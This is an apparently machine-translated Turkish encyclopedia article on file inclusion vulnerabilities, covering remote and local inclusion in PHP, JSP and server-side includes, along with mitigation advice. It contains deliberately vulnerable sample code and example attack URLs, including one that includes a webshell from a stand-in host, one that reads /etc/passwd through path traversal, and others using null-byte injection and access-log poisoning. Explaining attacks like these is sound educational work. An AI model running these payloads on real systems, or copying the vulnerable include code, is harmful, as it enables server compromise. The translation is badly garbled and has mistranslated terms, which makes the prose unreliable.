içerme açığını Dosya - File inclusion vulnerability

Bir dosya içerme açığı türüdür güvenlik açığının en sık etkilediği bulunmuştur web uygulamaları bir betik itimat çalışma zamanında . Bir uygulama çalışma zamanında yürütülür hangi dosya kontrol etmek saldırganı sağlayan bir şekilde bir saldırganın kontrollü değişken kullanılarak yürütülebilir kod için bir yol oluşturur, bu sorun neden olur. Bir dosya açığı jenerik ayrıdır dahil Directory Geçişi Saldırı , bu dizin kastetmek izinsiz kazanmanın bir yoludur dosya sistemi erişimi ve dosya içerme açığı bozar nasıl yürütülmesi için bir uygulama yükler kodu. Bir dosyanın başarıyla yararlanmak açığı uzaktan kod yürütülmesine neden olacaktır dahil web sunucusu etkilenen web uygulaması çalıştırır.

içerme Türleri

Uzaktan Dosya İçerme

Uzaktan Dosya İçerme web uygulama indirmeleri ve uzak bir dosyayı çalıştırdığında (RFI) oluşur. Bunlar uzak dosyaları, genellikle şeklinde elde edilir HTTP veya FTP URI web uygulamasına bir kullanıcı tarafından sağlanan parametre olarak.

Yerel Dosya İçerme

Yerel Dosya İçerme (SLP) bir benzer Uzaktan Dosya İçerme yerine uzak dosyaları, sadece yerel dosyalar yürütülmesi için dahil edilebilir akım sunucudaki dosyaları yani dahil hariç açığı. Bu sorun hala bu tür web sunucusunun erişim günlükleri olarak saldırgan kontrollü verileri içeren bir dosya ekleyerek uzaktan kod yürütülmesine neden olabilir.

Programlama dilleri

PHP

Gelen PHP ana nedeni yürütülmesi için bir dosya içeren bir dosya sistemi fonksiyonlu valide kullanıcı girdi kullanımı nedeniyle. En önemli olan includeve requireifadeleri. Açıkların çoğu PHP programlama dilinin tüm yetenekleri aşina olmama acemi programcılar atfedilebilir. PHP dili, etkin ise dosya sistemi fonksiyonları bir şekilde kullanmasına olanak tanıyan yönetmeliğe sahiptir URL uzak yerlerden veri almak için. Yönergesidir allow_url_fopenPHP sürümleri <= 4.3.4 ve allow_url_includePHP 5.2.0 beri. PHP 5.x bu yönerge önceki sürümlerinde varsayılan olarak etkinleştirilmiş, varsayılan olarak devre dışıdır. Güvenlik açığından yararlanabilmesi için bir saldırganın bir uzak kaynaktan zararlı kod içerecek şekilde neden bu işlevlerden birini geçirilir bir değişken değiştirecektir. Tüm kullanıcı girişi gerekmektedir, bu açıktan azaltmak için valide kullanılmadan önce.

Örnek

Şunu bir düşünün PHP isteği tarafından belirlenen bir dosya içerir komut:

<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?>
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="melay">French</option>
      ...
   </select>
   <input type="submit">
</form>

Uygulamanın davranışını değiştirecek turkish.php veya french.php okumak için amaçlanan geliştirici, kullanıcının seçtiği dili görüntülemek için. Ama kullanarak başka bir yol enjekte etmek mümkündür languageparametreyi.

  • /vulnerable.php?language=http://evil.example.com/webshell.txt? - (uzak dosya içerir) bir zararlı kod içeren bir uzaktan barındırılan dosyayı enjekte
  • /vulnerable.php?language=C:\\ftp\\upload\\exploit - (yerel dosya içerme açığı) exploit.php denilen Önceden yüklenmiş bir dosyadan kodlarını yürütür
  • /vulnerable.php?language=C:\\notes.txt%00- kullanarak örnek BOŞ meta karakterini kaldırmak için .phpphp dışındaki dosyalara erişimi sağlayan eki. Boş bayt enjeksiyonu bu şekilde kullanılması PHP 5.3 yamalı edildi ve artık SLP / RFI saldırılar için kullanılabilir.
  • /vulnerable.php?language=../../../../../etc/passwd%00- Bir üzerinde passwd dosyasının içeriğini okumak için bir saldırganın verir UNIX sistem Dizin Çapraz .

Bu durumda en iyi çözüm olarak kabul dil parametreleri içeren bir beyaz liste kullanmaktır. Bu tür bir beyaz listesi olarak giriş doğrulama güçlü bir yöntem kullanılabilir edilemiyorsa, o zaman istenmeyen karakterleri ve karakter özellikleri içermediğinden emin olmak için geçirilen yolun giriş filtreleme veya doğrulama dayanır. Ancak, bu tüm olası sorunlu karakter kombinasyonlarını tahmin gerektirebilir. Daha güvenli bir çözüm bulunur ziyade dinamik yol oluşturmak için bir URL veya form parametresini kullanmak hangi dosya belirlemek için önceden tanımlanmış Switch / Case deyimi kullanmaktır.

JSP

Java Server Pages (JSP) zamanında yürütülmesi için dosyaları içerebilir bir betik dilidir:

<%
   String p = request.getParameter("p");
   @include file="<%="includes/" + p +".jsp"%>"
%>
  • /vulnerable.jsp?p=../../../../var/log/access.log%00 - PHP aksine, JSP hala boş bayt enjeksiyon etkilenen edilir ve bulunan JSP komutları çalıştırır bu param web sunucusunun erişim günlüğü.

HTML Sunucu Tarafı içerir (SSI)

Bir Sunucu Tarafı dahil çok nadir görülür ve genellikle varsayılan web sunucusu üzerinde etkin değil. Sunucu tarafı savunmasız web sunucusunda uzaktan kod yürütülmesine kazanmak için kullanılabilir içerir. Aşağıdaki kod uzaktan dosyaya savunmasız açığını şunlardır:

<HTML>

<TITLE>Test File</TITLE>

<!--#include file=”USER_LANGUAGE”-->
</HTML>

Yukarıdaki kod XSS açığı değil, daha ziyade yeni bir dosya sunucusu tarafından yürütülecek dahil.

Ayrıca bakınız

Referanslar

Dış bağlantılar